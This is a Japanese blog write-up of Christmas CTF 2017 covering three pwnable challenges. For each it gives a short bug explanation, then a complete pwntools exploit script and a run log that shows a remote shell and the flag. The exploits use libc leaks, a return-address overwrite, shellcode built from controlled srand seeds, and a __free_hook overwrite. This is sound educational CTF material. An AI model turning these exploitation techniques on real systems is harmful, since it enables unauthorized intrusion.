ブログ未満のなにか

ブログなのか誰にも分からない

Christmas CTF 2017 writeup

はじめに

クリスマスに予定がなかったのでCTFしてた。TokyoWesternsで参加して1829点で3位だった。賞金が降ってくるらしいのでちょっとしたクリスマスプレゼントっぽくなった。解けた問題のwrteiupを書く。

[PWNABLE] BOOKSTORE

C++で書かれたバイナリで、Stringを使っている。なのでbofは存在しない。しかし未初期化バグがあるので、それをうまく使うことで任意の箇所を操作できるようになる。操作は本の価格と個数で決まるので、適当に本の値段を1にしておいて買うときに個数を調整した。

適当にbssあたりに偽の本を作っておきアドレスのリークを行った。リモートとローカルでライブラリのマッピングされる位置が違ったのか少し手こずった。最終的にはlibcのアドレスをリークしてから、environの値をリークさせてstackのアドレスを得てretrun addressを書き換えるようにした。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug' # output verbose log

RHOST = "207.148.67.213"
RPORT = 1337
LHOST = "127.0.0.1"
LPORT = 1337

# libc = ELF('')
elf = ELF('./bookstore')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./bookstore'], execute)
else:
    conn = process(['./bookstore'])
    # conn = process(['./bookstore'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def add_book(name, desc, price, pub):
    conn.sendlineafter('5. Exit', '1')
    time.sleep(0.1)
    conn.sendlineafter('Name : ', name)
    time.sleep(0.1)
    conn.sendlineafter('Description : ', desc)
    time.sleep(0.1)
    conn.sendlineafter('Price : ', str(price))
    time.sleep(0.1)
    conn.sendline(pub)
    time.sleep(0.1)

def create_pub(name, desc):
    conn.sendlineafter('5. Exit', '2')
    time.sleep(0.1)
    conn.sendlineafter('Name : ', name)
    time.sleep(0.1)
    conn.sendlineafter('Description : ', desc)
    time.sleep(0.1)

def view_books():
    conn.sendlineafter('5. Exit', '3')
    time.sleep(0.1)

def list_pubs():
    conn.sendlineafter('5. Exit', '4')
    time.sleep(0.1)

def sell_book(name, num):
    conn.sendlineafter('5. Exit', '5')
    time.sleep(0.1)
    conn.sendlineafter('Book Name : ', name)
    time.sleep(0.1)
    conn.sendlineafter('Num : ', str(num))
    time.sleep(0.1)


def write_word(addr, value):
    payload = 'a'*0x40 + p64(0x0) + p64(addr)
    create_pub(str(value), payload)
    add_book(str(value), 'zzzz', 0x1, '')
    sell_book(str(value), value)

log.info('Pwning')

fake_addr = 0x6063c0

payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 8)
create_pub('hoge', payload)
add_book('xxxx', 'yyyy', 1, '')
sell_book('xxxx', 0x000000000605fe8) # stdout

payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 0x10)
create_pub('fuga', payload)
add_book('wwww', 'zzzz', 1, '')
sell_book('wwww', 0x6)

payload = 'a'*0x40 + p64(0x0) + p64(fake_addr)
create_pub('piyo', payload)
add_book('oooo', 'pppp', 1, '')

view_books()
for i in range(3):
    conn.recvuntil('Publisher : ')

libc_base = u64(conn.recv(6) + '\x00\x00') - 0x0000000000020740
log.info('libc_base = 0x%x', libc_base)
one_gadget = libc_base + 0xf1117


environ = libc_base + 0x3c6f38
fake_addr = 0x6063e0

payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 8)
create_pub('hoge', payload)
add_book('1', 'yyyy', 1, '')
sell_book('1', environ&0xffffffff) 

payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 8 + 4)
create_pub('hoge', payload)
add_book('2', 'yyyy', 1, '')
sell_book('2', environ>>32) 

payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 8 + 8)
create_pub('hoge', payload)
add_book('3', 'yyyy', 1, '')
sell_book('3', 6) 

payload = 'a'*0x40 + p64(0x0) + p64(fake_addr)
create_pub('4', payload)
add_book('4', 'pppp', 1, '')

view_books()
for i in range(7):
    conn.recvuntil('Publisher : ')

stack_base = u64(conn.recv(6) + '\x00\x00')
log.info('stack_base = 0x%x', stack_base)

# libc_start_main+240 -> one_gadget_rce
write_word(stack_base-0xf0, 0xd08e7)
conn.interactive()
root@ubuntu:~/ctf/XmasCTF/bookstore# python exp.py  r
[*] '/root/ctf/XmasCTF/bookstore/bookstore'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 207.148.67.213 on port 1337: Done
[*] Pwning
[*] libc_base = 0x7fba5dc79000
[*] stack_base = 0x7ffd89fb90d8
[*] Switching to interactive mode
1. Add Book
2. Create Publisher
3. View All Book
4. List Publisher
5. Sell Book
5. Exit
$ 6
$ id
uid=1000(bookstore) gid=1000(bookstore) groups=1000(bookstore)
$ cat /home/bookstore/flag
XMAS{ca11_m3_010-5328-7405}

[PWNABLE] INFINITE CAT THEOREM

ランダムに生成されたバイト列が実行されるが、srand()に渡るseedはstack bofによって任意の値にできる。また同時にstack bofによってreturn addressを操作できるので、任意のseedによるsrand()を実行させることができる。これを用いてexecve('/bin/sh')を実行するシェルコードを生成した。 get_seed()はour godが書いてくれた。感謝。

#!/usr/bin/env python
from pwn import *
from ctypes import *

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

libc = cdll.LoadLibrary("libc.so.6")

RHOST = "45.32.113.43"
RPORT = 12025
LHOST = "127.0.0.1"
LPORT = 12025

# libc = ELF('')
elf = ELF('./infinite_cat')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        b *0x400B0A
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./infinite_cat'], gdbscript=execute)
else:
    conn = process(['./infinite_cat'])
    # conn = process(['./infinite_cat'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def get_seed(n):
  if isinstance(n, basestring):
    n = ord(n)
  for i in xrange(0,65536):
    libc.srand(c_int(i))
    if libc.rand() % 256 == n:
      return i
  return None

def make_byte(seed):
    conn.sendlineafter('length: ', '1')
    time.sleep(0.01)
    payload = 'x'* 0xc + p64(seed) + p64(0) * 3 +  p64(main_addr)
    conn.sendafter('your cat makes seed dynamic, any comment?', payload)
    time.sleep(0.01)

log.info('Pwning')

main_addr = elf.symbols['main']

shellcode = asm(shellcraft.sh())
for c in shellcode:
    make_byte(get_seed(c))

time.sleep(1)
conn.sendlineafter('length: ', '1')
conn.sendafter('your cat makes seed dynamic, any comment?', 'hoge')

conn.interactive()
root@ubuntu:~/ctf/XmasCTF/infine_cat# python exploit.py r
[*] '/root/ctf/XmasCTF/infine_cat/infinite_cat'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 45.32.113.43 on port 12025: Done
[*] Pwning
[*] Switching to interactive mode

length: $ 1
your cat makes seed dynamic, any comment?
$ hoge
Now printing...

$
███╗   ██╗ ██╗   ██╗   █████╗    ███╗   ██╗  ██████╗
████╗  ██║ ╚██╗ ██╔╝  ██╔══██╗   ████╗  ██║ ██╔════╝
██╔██╗ ██║  ╚████╔╝   ███████║   ██╔██╗ ██║ ██║  ███╗
██║╚██╗██║   ╚██╔╝    ██╔══██║   ██║╚██╗██║ ██║   ██║
██║ ╚████║    ██║     ██║  ██║   ██║ ╚████║ ╚██████╔╝
╚═╝  ╚═══╝    ╚═╝     ╚═╝  ╚═╝   ╚═╝  ╚═══╝  ╚═════╝

$ id
uid=1000(infinite_cat_theorem) gid=1000(infinite_cat_theorem) groups=1000(infinite_cat_theorem)
$ cat flag
XMAS{your_cat_will_write_works_of_Shakespeare}

[PWNABLE] CHILDVM

独自VMfree()後にポインタのクリアをしないため、unsortedbinに入るチャンクからだとlibcのアドレスをリークできる。あとは値をリークさせてから__free_hooksystem()を書き込んだ。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='i386')

RHOST = "45.32.113.43"
RPORT = 31338
LHOST = "127.0.0.1"
LPORT = 31338

# libc = ELF('./libc.so.6_32')
elf = ELF('./childvm')

offset = 0x1b27b0
def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./childvm'], gdbscript=execute)
else:
    conn = process(['./childvm'])
    # conn = process(['./childvm'], env={'LD_PRELOAD': './libc.so.6_32'})

# preparing for exploitation

log.info('Pwning')

def movi(op1, op2):
    return chr(16) + p32(op1) + p32(op2)
def malloc(op1, op2):
    return chr(32) + p32(op1) + p32(op2)
def free(op1, op2):
    return chr(48) + p32(op1) + p32(op2)
def movxy(op1, op2):
    return chr(64) + p32(op1) + p32(op2)
def sub(op1, op2):
    return chr(80) + p32(op1) + p32(op2)
def read(op1, op2):
    return chr(112) + p32(op1) + p32(op2)
def movm(op1, op2):
    return chr(128) + p32(op1) + p32(op2)
def puts(op1, op2):
    return chr(144) + p32(op1) + p32(op2)


payload = ''
payload += malloc(0x80, 0xdeadbeef)
payload += movm(0, 3)
payload += malloc(0x80, 0xdeadbeef)
payload += free(0,0)
payload += puts(0,0)
conn.send(payload)
time.sleep(0.1)
conn.recvuntil('\xb0')
conn.recv(3)
libc_base = u32(conn.recv(4)) - offset
log.info('libc_base = 0x%x', libc_base)

payalod = ''
payload += movm(0, 3)
payload += movi(1, 0x9)
payload += read(0, 0)
payload += '/bin/sh\x00\x00'
payload += movi(2, libc_base + 0x1b38b0)
payload += movm(0, 2)
payload += read(0, 0)
payload += p32(libc_base + 0x3ada0)*2 + 'a'
payload += movm(0, 3)
payload += free(0, 0)
conn.send(payload)

conn.interactive()
root@ubuntu:~/ctf/XmasCTF/childvm/childvm# python exploit.py r
[*] '/root/ctf/XmasCTF/childvm/childvm/childvm'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to 45.32.113.43 on port 31338: Done
[*] Pwning
[*] libc_base = 0xf75b1000
[*] Switching to interactive mode

\xb07v�7v�
$ id
uid=1001(childvm) gid=1001(childvm) groups=1001(childvm)
$ cat flag
XMAS{i'm_not_solo_TT}

おわりに

メリークリスマス!!!!!